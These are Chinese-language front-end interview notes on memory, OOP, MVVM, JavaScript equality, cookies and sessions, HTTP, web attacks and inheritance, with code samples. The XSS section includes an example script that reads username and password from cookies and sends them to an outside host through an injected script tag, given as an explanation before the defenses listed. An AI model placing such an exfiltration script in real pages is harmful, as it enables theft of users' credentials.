前端面经
综合
栈和堆
栈
- 栈的内存地址生长方向由高到低
- 栈由操作系统自动分配释放 ,用于存放函数的参数值、局部变量等
- 栈有 2 种分配方式:静态分配和动态分配。静态分配是由操作系统完成的,比如局部变量的分配。动态分配由
alloca()
函数分配,但是栈的动态分配和堆是不同的,它的动态分配是由操作系统进行释放,无需我们手工实现。 - 相邻变量的地址之间不会存在其它变量
堆
- 堆的内存地址生长方向由低到高
- 堆由开发人员分配和释放, 若开发人员不释放,程序结束时由 OS 回收,分配方式类似于链表
- 堆都是动态分配的
抽象类和接口区别
抽象类(abstract class)
- 一个抽象类不能实例化
- 可以在类的实体中定义成员变量,成员方法,构造方法等
- 抽象方法:只声明,不实现。
- 抽象类中可以有已经实现了的方法,也可以有被abstract修饰的方法(抽象方法)
接口(interface)
- 接口在java中是一个抽象类型,是抽象方法的集合。从定义上看,接口是个集合,并不是类。类描述了属性和方法,而接口只包含方法(未实现的方法)。
- 接口和抽象类一样不能被实例化
- 接口中的方法必须是抽象的,不存在方法的实现。
- 实现某个接口的类必须在类中实现该接口的全部方法。
- 接口中除了static、final变量,不能有其他变量
- 接口支持多继承(一个类可以实现多个接口)
MVC 和 MVVM 的区别
MVC
MVC 是 Model View Controller 的缩写
- Model:模型层,是应用程序中用于处理应用程序数据逻辑的部分。通常模型对象负责在数据库中存取数据。
- View:视图层,用户界面渲染逻辑,通常视图是依据模型数据创建的。
- Controller:控制器,数据模型和视图之间通信的桥梁,通常控制器负责从事图读取数据,控制用户输入,并向模型发送数据。
MVC的思想:Controller负责将Model的数据用View显示出来,换句话说就是在Controller里面把Model的数据赋值给View。
MVC的特点:实现关注点分离,即应用程序中的数据模型与业务和展示逻辑解耦。就是将模型和视图之间实现代码分离,松散耦合,使之成为一个更容易开发、维护和测试的客户端应用程序。
MVVM
MVVM是Model-View-ViewModel的简写,即模型-视图-视图模型。
- Modal:模型,指的是后端传递的数据。
- View:视图,指的是所看到的页面。
- ViewModal:视图模型,mvvm模式的核心,它是连接view和model的桥梁。主要用来处理业务逻辑
一是将模型转化成视图,即将后端传递的数据转化成所看到的页面。实现的方式是:数据绑定。
二是将视图转化成模型,即将所看到的页面转化成后端的数据。实现的方式是:DOM 事件监听。
这两个方向都实现的,就是数据的双向绑定。
MVVM的特点: 在MVVM的框架下,视图和模型是不能直接通信的,它们通过ViewModal来通信,ViewModel通常要实现一个observer观察者,当数据发生变化,ViewModel能够监听到数据的这种变化,然后通知到对应的视图做自动更新,而当用户操作视图,ViewModel也能监听到视图的变化,然后通知数据做改动,这实际上就实现了数据的双向绑定。并且MVVM中的View 和 ViewModel可以互相通信。
MVVM的优点:
- 低耦合,视图(View)可以独立于Model变化和修改,一个ViewModel可以绑定到不同的View上,当View变化的时候Model可以不变,当Model变化的时候View也可以不变。
- 可重用性,可以把一些视图逻辑放在一个ViewModel里面,让很多view重用这段视图逻辑。
- 独立开发,开发人员可以专注于业务逻辑和数据的开发(ViewModel),设计人员可以专注于页面设计,使用Expression Blend可以很容易设计界面并生成xml代码。
- 可测试,界面向来是比较难于测试的,而现在测试可以针对ViewModel来写
- 双向数据绑定,它实现了View和Model的自动同步,当Model的属性改变时,不需要手动操作Dom元素,来改变View的显示,而是改变属性后该属性对应View层显示会自动改变
==
和 ===
区别(NaN 和 notdefined 会怎么样)
- 相等运算符
==
:只判断等号两边的值是否相等,而不判断类型是否相同。值相同则返回 true - 全等运算符
===
:既要判断值是否相等,也要判断类型是否相同,即全等才能返回 true
注意事项:
相等运算符【==
】
如果其中一个值是 true,则将其转换为 1 再进行比较。如果其中一个值是 false,则将其转换为 0 再进行比较
undefined 和 null 互相比较返回 true,和自身比较也返回 true,其他情况返回 false。
NaN,{} 和任意值比较都是返回 false
Infinity 只和自身比较返回 true
如果等号两侧都是对象,则比较它们是否为同一个对象。如果指向同一个对象,则返回 true,否则返回 false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
211 == '1' // true,因为 '1' 被转换成了数字 1
true == 1 // true,因为 true 被转换成了数字 1
100 == true ==> 100 == 1 // false
0 == false ==> 0 == 0 // true
null == undefined // true,因为它们被认为是相等的
1 == "abc" ==> 1 == NaN // false
1 == "" ==> 1 == 0 // false
"" == true ==> 0 == 1 // false
"" == false ==> 0 == 0 // true
[1,2] == [1,2] // false
{x:1} == {x:1} // false
/** 如果等号一侧是Number,String,Boolean这三种类型中的一种,而另一侧是对象类型时, 则对对象执行ToPrimitive操作(这步是JS解释器执行的,ToPrimitive方法的实现,正是依次去调用对象的valueOf,toString方法,直到其中一个方法返回一个基本值,然后比较返回的基本值和另一侧那三中类型的值。如果这两个方法没有返回基本值 ,那就认定不相等 )
*/
[1] == 1 ==> 1 == 1 // true
[1] == '1' ==> '1' == '1' // true
[] == 0 ==> 0 == 0 // true
[] == '0' ==> '' == '0' // false
[] == '' ==> '' == '' // true
全等运算符【===
】
先分析是否为相同类型,如果类型不同直接返回 false
如果类型相同
基本类型,直接比较值是否相同,
对象类型,由于对象类型保存的是对象(包括数组,函数)的地址值,所以地址值不同的,返回的都是 false。地址值相同,返回 true
1
2
3
4
51 === '1' // false,因为类型不同
true === 1 // false,因为类型不同
null === undefined // false,因为类型不同
undefined === undefined // true
NaN === NaN // false
Cookie 和 session
Cookie机制
一个用户的所有请求操作都应该属于同一个会话,而另一个用户的所有请求操作则应该属于另一个会话,二者不能混淆。
Web应用程序是使用HTTP协议传输数据的。HTTP协议是无状态的协议。一旦数据交换完毕,客户端与服务器端的连接就会关闭,再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪会话。
键值对结构
每个 Cookie 的大小通常限制在 4KB 以内
可以设置过期时间。如果不设置过期时间,Cookie 在会话结束(即浏览器关闭)时失效。持久性 Cookies 可以存储较长时间
什么是Cookie
W3C组织提出,给客户端颁发一个通行证,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。这就是Cookie的工作原理。
Cookie实际上是一小段的文本信息。客户端请求服务器,如果服务器需要记录该用户状态,就使用response向客 户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务 器。服务器检查该Cookie,以此来辨认用户状态。服务器还可以根据需要修改Cookie的内容。
Cookie具有不可跨域名性。根据Cookie规范,浏览器访问Google只会携带Google的Cookie,而不会携带Baidu的Cookie。Google也只能操作Google的Cookie,而不能操作Baidu的Cookie。
Session机制
- Session是服务器端使用的一种记录客户端状态的机制,使用上比Cookie简单一些,相应的也增加了服务器的存储压力。
- 客户端只存储一个 Session ID,通常通过 Cookie 或 URL 参数传递给服务器。
- Session对象是在客户端第一次请求服务器的时候创建的。
- 注意只有访问JSP、Servlet等程序时才会创建Session,只访问HTML、IMAGE等静态资源并不会创建Session。如果尚未生成Session,也可以使用request.getSession(true)强制生成Session。
- Session生成后,只要用户继续访问,服务器就会更新Session的最后访问时间,并维护该Session。用户每访问服务器一次,无论是否读写Session,服务器都认为该用户的Session“活跃(active)”了一次。
- 为防止内存溢出,服务器会把长时间内没有活跃的Session从内存删除。这个时间就是Session的超时时间。如果超过了超时时间没访问过服务器,Session就自动失效了。
什么是Session
- Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
- 如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了。
浏览器访问网站过程
- 在浏览器地址栏中输入网址
- 浏览器通过用户再地址栏中输入的URL构建HTTP请求报文
- 浏览器发起DNS解析请求,将域名转换为IP地址
- 浏览器将请求报文发送给服务器
- 服务器接收请求报文,并解析
- 服务器处理用户请求,并将处理结果封装成HTTP响应报文
- 服务器将HTTP响应报文发送给浏览器
- 浏览器接收服务器响应的HTTP报文,并解析
- 浏览器解析HTML页面并展示,在解析HTML页面时遇到的新的资源需要再次发起请求
- 最终浏览器展示出了页面
HTTP2.0 和 HTTP1.0 区别
总的区别就是:
- HTTP/2采用二进制格式而非文本格式
- HTTP/2是完全多路复用的,而非有序并阻塞的——只需一个连接即可实现并行
- 使用报头压缩,HTTP/2降低了开销
- HTTP/2让服务器可以将响应主动“推送”到客户端缓存中
- 多路复用,允许在同一TCP连接上同时发送多个HTTP请求和接收多个HTTP响应。通过多路复用,HTTP/2能够解决传统HTTP/1.1中的队头阻塞问题,并显著提高传输效率和性能。
- 客户端和服务器之间建立一条TCP连接,该连接可以承载多个并发的HTTP请求和响应。
- 在多路复用模式下,客户端可以同时发起多个HTTP请求,这些请求会被切割成一系列的数据帧,并以无序的方式发送到服务器。
- 服务器接收到这些数据帧后,可以并行处理它们,并以无序的方式发送相应的HTTP响应数据帧。
- 当客户端接收到数据帧后,会根据帧的标识对它们进行重组,还原成完整的HTTP请求和响应。
- HTTP 性能优化的关键并不在于高带宽,而是低延迟。TCP 连接会随着时间进行自我「调谐」,起初会限制连接的最大速度,如果数据成功传输,会随着时间的推移提高传输的速度。这种调谐则被称为 TCP 慢启动。由于这种原因,让原本就具有突发性和短时性的 HTTP 连接变的十分低效。
- HTTP/2 通过让所有数据流共用同一个连接,可以更有效地使用 TCP 连接,让高带宽也能真正的服务于 HTTP 的性能提升。-
GET 和 POST 请求区别
区别
- Get请求的数据(参数)会显示在地址栏,,而Post不会。
- Post请求的参数存放到了请求实体Request body中,GET参数通过URL传递。
- 数据传输Post有优势:Get方式请求的数据不能超过2k,而Post 没有上限。
- 浏览缓存Get有优势:Get具有数据缓存,而Post没有。
- GET请求会被浏览器主动缓存,POST不会,要手动设置
- GET请求在URL中传送的参数是有长度限制的,而POST没有限制
- GET产生一个TCP数据包;POST产生两个TCP数据包
选择
- 私密性的信息请求使用 POST(如注册、登陆)
- 查询信息使用 GET
常见状态码
- 200 (OK):找到了该资源,并且一切正常。
- 301(MOVED PERMANENTLY):永久性重定向,表示资源已被分配了新的 URL。
- 302 (FOUND):临时性重定向,表示资源临时被分配了新的 URL。服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来响应以后的请求。
- 304 (NOT MODIFIED):该资源在上次请求之后没有任何修改。这通常用于浏览器的缓存机制。
- 401 (UNAUTHORIZED):客户端无权访问该资源。这通常会使得浏览器要求用户输入用户名和密码,以登录到服务器。
- 403 (FORBIDDEN): 客户端未能获得授权,服务器拒绝请求。这通常是在401之后输入了不正确的用户名或密码。
- 404 (NOT FOUND):在指定的位置不存在所申请的资源。
- 500 (服务器内部错误):服务器遇到错误,无法完成请求。
- 503 (服务不可用):服务器目前无法使用(由于超负载或停机维护)。通常这只是暂时状态。
XSS、CSRF 和 DDoS
XSS(Cross-Site Scripting):跨站脚本攻击
跨站脚本攻击(为了和CSS区分开缩写为XSS),是一种代码注入攻击。攻击者在目标网站上注入恶意代码,当用户登陆网站时就会执行这些恶意代码,这些脚本可以读取 cookie,session tokens,或者其它敏感的网站信息,进而危害数据安全。
XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。
例如:在下面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端
php
文件中进行处理保存,这样你的个人信息就已经泄露了1
2
3
4
5
6// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');防御方式:
- 纯前端渲染:我们会明确的告诉浏览器:下面要设置的内容是文本(
.innerText
),还是属性(.setAttribute
),还是样式(.style
)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。 - 转义 HTML:如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义
- 使用 CSP:CSP 意为内容安全策略,它的本质是指定有效域(建立一个白名单),告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截由浏览器自己来实现。
- 纯前端渲染:我们会明确的告诉浏览器:下面要设置的内容是文本(
CSRF(Cross-site request forgery):跨站请求伪造
跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
由于 Cookie 中包含了用户的认证信息,当用户访问攻击者准备的攻击环境时,攻击者就可以对服务器发起 CSRF 攻击。在这个攻击过程中,攻击者借助受害者的 Cookie 骗取服务器的信任,但并不能拿到 Cookie,也看不到 Cookie 的内容。而对于服务器返回的结果,由于浏览器同源策略的限制,攻击者也无法进行解析。因此,攻击者无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。
防御方式:
- CSRF Token:要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token(解密 Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的),来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。
验证码:CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求。
- referer 检测:在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的”源”。
双重Cookie验证:因为攻击者只能利用 cookie,但是不能拿到 Cookie ,所以服务器可以在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串,然后当用户再次向服务器发送请求的时候,从 cookie 中取出这个字符串,添加到 URL 参数中,服务器通过对 cookie 中的数据和参数中的数据进行比较,来进行验证。缺点是如果网站存在 XSS 漏洞的,那么这种方式会失效,同时这种方式不能做到子域名的隔离。
与XSS区别:XSS是利用合法用户获取其信息,而CSRF是伪造成合法用户发起请求
DDos(Distributed Denial of Service):分布式拒绝服务
- 可以理解成大量设备利用大量的请求造成资源过载,导致服务不可用。
- Dos 拒绝服务 的升级版
- 常见攻击方式:
- 网络层和传输层的DDoS攻击一般通过模拟大量的报文,如 ICMP, UDP, TCP 来让服务器响应,消耗服务器资源,称为基础设施层攻击。
- 展示层和应用层的DDOS攻击则通过模拟应用层的请求,如 HTTP 让服务器进行响应,称为应用层攻击。
- SYN Flood:基础设施层攻击的一种。攻击者利用TCP协议中三次握手的机制,伪造大量的IP地址发送第一次握手的SYN包给服务器,但是由于伪造的IP地址几乎不可能存在,第三次握手无法完成,导致服务器大量端口处于SYN_RECV状态。由于服务器收不到第三次握手的报文,超时重传,重传一定次数后,才会释放连接。服务器这个状态一般称为半连接。服务器每收到一个SYN包都会将连接信息储存到一个队列中,当超过队列长度时,新来的SYN包无法被响应,服务器也就无法响应正常的tcp请求。
- **HTTP Flood(CC攻击)**:应用层攻击的一种。攻击者通过控制大量“肉鸡”(被黑客成功入侵并受远程操纵的主机)或利用从互联网搜寻的大量知名HTTP代理,模拟正常用户给网站发起请求直到该网站拒绝服务为止。大部分网站会通过CDN及分布式缓存来加快服务器端响应,提升网站吞吐量,而这些HTTP请求有意避开这些缓存,需要进行多次DB查询操作或一次请求返回大量数据,加速系统资源消耗,从而拖垮后端业务处理系统,甚至连相关存储与日志收集系统也无法幸免。
- 防御方式:
- 流量清洗
- SYN Cookie
什么是闭包?闭包的作用有哪些?
闭包:
- 闭包就是每次调用外层函数时,临时创建的函数作用域对象。
- 因为内层函数作用域链中包含外层函数的作用域对象,且内层函数被引用,导致内层函数不会被释放,同时它又保持着对父级作用域的引用,所以即使外层函数执行完成,外层函数的作用域也不会被立即销毁,这个时候就形成了闭包。
- 所以闭包通常是在函数嵌套中形成的。
- 严格来说,要满足以下四个条件:
- 有函数嵌套
- 内部函数引用外部作用域的变量参数
- 返回值是函数
- 创建一个对象函数,让其长期驻留
闭包的作用:
- 封装性:闭包可以将变量和函数封装在内部函数的作用域中,防止对外部作用域的污染(全局变量污染),实现了数据的私有化和保护。
- 保持状态、延长生命周期:使得一个函数可以记住并操作其创建时的环境中的变量,使得即使外部函数执行完毕,内部函数仍然可以访问和修改外部函数中的变量。
- 实现柯里化:通过闭包,可以实现函数的柯里化(Currying),即将多个参数的函数转化为一系列单参数函数的过程。
什么叫继承?ES6 和 ES5 的继承有什么区别?
继承
继承简单来说就是子类继承父类,子类可以使用父类的方法、属性。
特点
①在JS中都是通过原型实现继承的
②就近原则(如果父类和子类都有某个同名属性时,优先使用最近的属性,也就是子类的属性)
原型链细节
prototype
:原型对象,每个构造函数都一个属性叫prototype,它叫原型,也是个对象,我们叫这个对象为原型对象__proto__
:隐式原型,可以理解为原型指针。每个对象中有一个属性叫__proto__
,它叫隐式原型,也就是指向父级原型的指针constructor
:构造器,原型对象的constructor也就是构造函数。每个原型对象都有一个constructor属性,用于指向原型对象的构造函数1
2
3
4
5
6
7
8
9
10
11
12
13
14function beauty() {
// 构造函数
this.skin = 'white'
this.stature = '170'
}
// 向原型对象上添加属性
beauty.prototype.realBeautiful = 'yes'
let my = new beauty() // 实例化对象
console.log(beauty.prototype) // 构造函数beauty的原型对象
console.log(my) // 实例对象
console.log(beauty.prototype === my.__proto__) // true;构造函数beauty的原型对象 全等于 实例对象的父级原型对象
console.log(beauty === my.__proto__.constructor) // true;构造函数beauty 全等于 实例对象的父级原型对象的constructor属性
ES5中继承
原型链继承:利用原型让一个引用类型继承另一个引用类型的属性和方法。也就是让子类的原型对象等于父类的实例。
优点:
- 可以继承父类及其原型的全部属性和方法
- 实例和子类和父类在一条原型链上
缺点:
- 子类实例无法向父类传参
- 因为是通过原型实现的继承,所以父类的实例属性会变成子类的原型属性,会导致包含引用类型值的原型属性会被所有的实例共享(基本类型没有该问题)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21function ParentType() {
// 父类
this.attr = true
}
ParentType.prototype.getAttr = function () {
// 向父类原型增加方法
return this.attr
}
function ChildType() {
// 定义子类
this.a = false
}
ChildType.prototype = new ParentType() // 定义其原型对象等于父类的实例
let instance = new ChildType() // 创建子类实例
console.log(instance.attr) // true,调用父类原型中的属性,可以继承到
console.log(instance.getAttr()) // true,调用父类原型中的方法,可以继承到
console.log(instance.a) // false,使用子类原型中的属性,可以继承到
// instance.constructor指向的ParentType,这是因为原来的childType.prototype被重写了的缘故。
console.log(instance.constructor === ParentType)
借用构造函数继承:在子类型构造函数的内部,调用父类型的构造函数。通过call() 和 apply() 方法的作用, 改变this的指向。
优点:
- 可以向父类传参
- 因为使用的call或apply的方式,所以可以实现多继承,即一个子类继承多个父类的属性和方法
- 解决了引用数据类型值共享的问题(引用数据类型值不共享)
缺点:
- 因为只是“借调”了构造函数,所以无法继承父类原型中的属性和方法
- 父类的属性和方法都要在父类构造函数中定义才能继承到,每次创建子类实例都重新执行一次父类的构造函数,无法实现方法的复用。(所以在实际开发中,这种继承方式很少单独使用)
注意:子类的私有属性,为防止被父类覆盖,应定义在call或apply之后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26function ParentType(name) {
// 父类
this.attr = [1, 2]
this.name = name
}
ParentType.prototype.getAttr = function () {
// 向父类原型增加方法
return this.attr
}
function ChildType(name) {
// 定义子类
ParentType.call(this, name) // 继承了父类
}
let instance1 = new ChildType('liang') // 创建子类实例
instance1.attr.push(3)
console.log(instance1.attr) // [1, 2, 3] 修改了属性值
console.log(instance1.name) // liang, 实现了向父类传参
console.log(instance1.getAttr) // undefined,未继承父类原型中的属性和方法
let instance2 = new ChildType('zai') // 创建另一个子类实例
console.log(instance2.attr) // [1, 2] 没有被共享引用类型值
console.log(instance2.name) // zai, 实现了向父类传参
组合继承:将原型链和借用构造函数的技术组合到一起,从而发挥二者之长的一种继承方式。
优点:
- 解决了原型链的引用类型值共享的问题
- 解决了借用构造函数无法继承原型以及构造函数中的方法无法被复用的问题
- 是 JavaScript 最常用的继承模式
缺点:
- 无论什么情况下,都会调用两次父类型的构造函数:一次是在创建子类型原型的时候(ChildType.prototype = new ParentType();),一次是在子类型构造函数内部(ParentType.call(this, name); )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25function ParentType(name) {
// 父类
this.attr = [1, 2]
this.name = name
}
ParentType.prototype.getAttr = function () {
// 父类原型的方法
return this.attr
}
function ChildType(name) {
// 定义子类
ParentType.call(this, name) // 继承属性
}
ChildType.prototype = new ParentType() // 继承方法
ChildType.prototype.constructor = ChildType // 强化继承
let instance1 = new ChildType('liang') // 创建子类实例
instance1.attr.push(3)
console.log(instance1.attr) // [1, 2, 3] 修改了属性值
console.log(instance1.name) // liang, 实现了向父类传参
console.log(instance1.getAttr()) // [1, 2, 3],获取父类原型中的属性和方法
let instance2 = new ChildType('zai') // 创建另一个子类实例
console.log(instance2.attr) // [1, 2] 没有被共享引用类型值
console.log(instance2.name) // zai, 实现了向父类传参
寄生式继承:创建一个仅用于封装过程的函数,该函数在内部以某种方式来增强对象,最后再返回对象。
说明:
- 定义一个clone,clone最开始是一个空的对象,通过传入一个存在的对象,来当做自己的,寄生之意源自于此,寄生在已有的对象上。然后给他个方法,用以增强它,最后返回这个clone,clone就有了自己的方法和属性,变相的继承。
缺点:
- 为对象添加函数,无法做到函数的复用,降低效率,类似于借用构造函数方式
注意:里面的Object.create() 不是必须的,只要是能返回新对象的函数都适用于次模式(比如new)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17function createPerson(original) {
let clone = Object.create(original) // 原型式继承
clone.getName = function () {
// 为对象添加方法
return this.name
}
return clone
}
let person = {
// 新对象原型的对象
name: 'liang',
frinds: ['zhao', 'qian'],
}
let instance = createPerson(person) // 新对象既拥有person对象的属性和方法,又拥有自己的方法
console.log(instance.getName()) // liang,调用到了新对象自己的方法
寄生组合式继承:使用寄生式继承来继承父类的原型,然后将结果指定给子类型的原型
优点:
- 可以实现子类实例像父类传参
- 引用类型值不会被共享
- 实现了函数的复用
- 只调用了一次父类的构造函数
- 效率高
总结:
- 解决了上述所有的缺点
- 继承组合方式是引用类型最理想的继承方式
- 解决了组合式继承存在一个最大的问题,会调用两次父类的构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26function ParentType(name) {
// 父类
this.attr = [1, 2]
this.name = name
}
ParentType.prototype.getAttr = function () {
// 父类原型的方法
return this.attr
}
function ChildType(name) {
// 定义子类
ParentType.call(this, name) // 继承属性
}
let prototype = Object.create(ParentType.prototype) // 创建一个等于父类原型对象的对象
prototype.constructor = ChildType // 增强对象,弥补因重写原型而失去的constructor属性
ChildType.prototype = prototype // 完成了对父类的属性和方法的继承
let man1 = new ChildType('liang')
man1.attr.push(3)
console.log(man1.name) // liang,继承到父类的属性
console.log(man1.getAttr()) // [1,2,3] 继承到了父类的方法
let man2 = new ChildType('zhao')
console.log(man2.name) // zhao
console.log(man2.getAttr()) // [1,2] 引用类型值没有被共享
ES6中继承
ES6的继承实现方法,实质上是 JavaScript 现有基于原型继承的语法糖,其内部其实也是ES5寄生组合继承的方式,通过call构造函数,在子类中继承父类的属性,通过原型链来继承父类的方法
优点:
- 更规范——严格模式下执行
- 可读性高
注意:
- 相比ES5的继承中,子类的
__proto__
属性指向的对应的构造函数的原型。ES6的Class定义的子类同时有prototype属性和__proto__
属性,因此同时存在两条继承链:- 子类的
__proto__
属性,表示构造函数的继承,总是指向父类 - 子类
prototype
对象的__proto__
属性,表示原型的继承,总是指向父类的prototype对象
- 子类的
- extends做了两件事情,一个是通过
Object.create()
把子类的原型赋值为父类的实例,实现了继承方法,子类.prototype.__proto__
也自动指向父类的原型,一个是手动修改了子类的__proto__
,修改为指向父类,(本来在 es5 中应该是指向Function.prototype
) - extends也可以继承ES5的构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42class ParentType {
// 父类
constructor(param) {
// 父类的构造函数
this.param = param
this.attr = 'haha'
}
static age = 21
static showSomething(str) {
// 父类的静态方法
console.log(str)
}
getParam() {
// 原型的方法
return this.param
}
}
class ChildType extends ParentType {
// 定义子类继承父类
constructor(param) {
super(param) // 使子类获取到this对象
//子类添加自己的属性
this.childAttr = 'ca'
}
static showSth(str) {
super.showSomething(str) // 通过super调用父类的函数
}
}
let child = new ChildType('123456') // 创建实例
ParentType.showSomething('lalala!') // lalala! 静态方法的使用
// child.showSomething('child!') // Uncaught TypeError: child.showSomething is not a function 实例无法继承静态方法。
console.log('age==>', ChildType.age)
// ChildType.state.age = 23
// ChildType.showSth('yeah!') // yeah! 子类可以继承父类的静态方法。
console.log(child.getParam()) // 123456 调用到了父类的方法
console.log(ChildType.prototype.__proto__ === ParentType.prototype) // true
console.log(ChildType.__proto__ === ParentType) // true- 相比ES5的继承中,子类的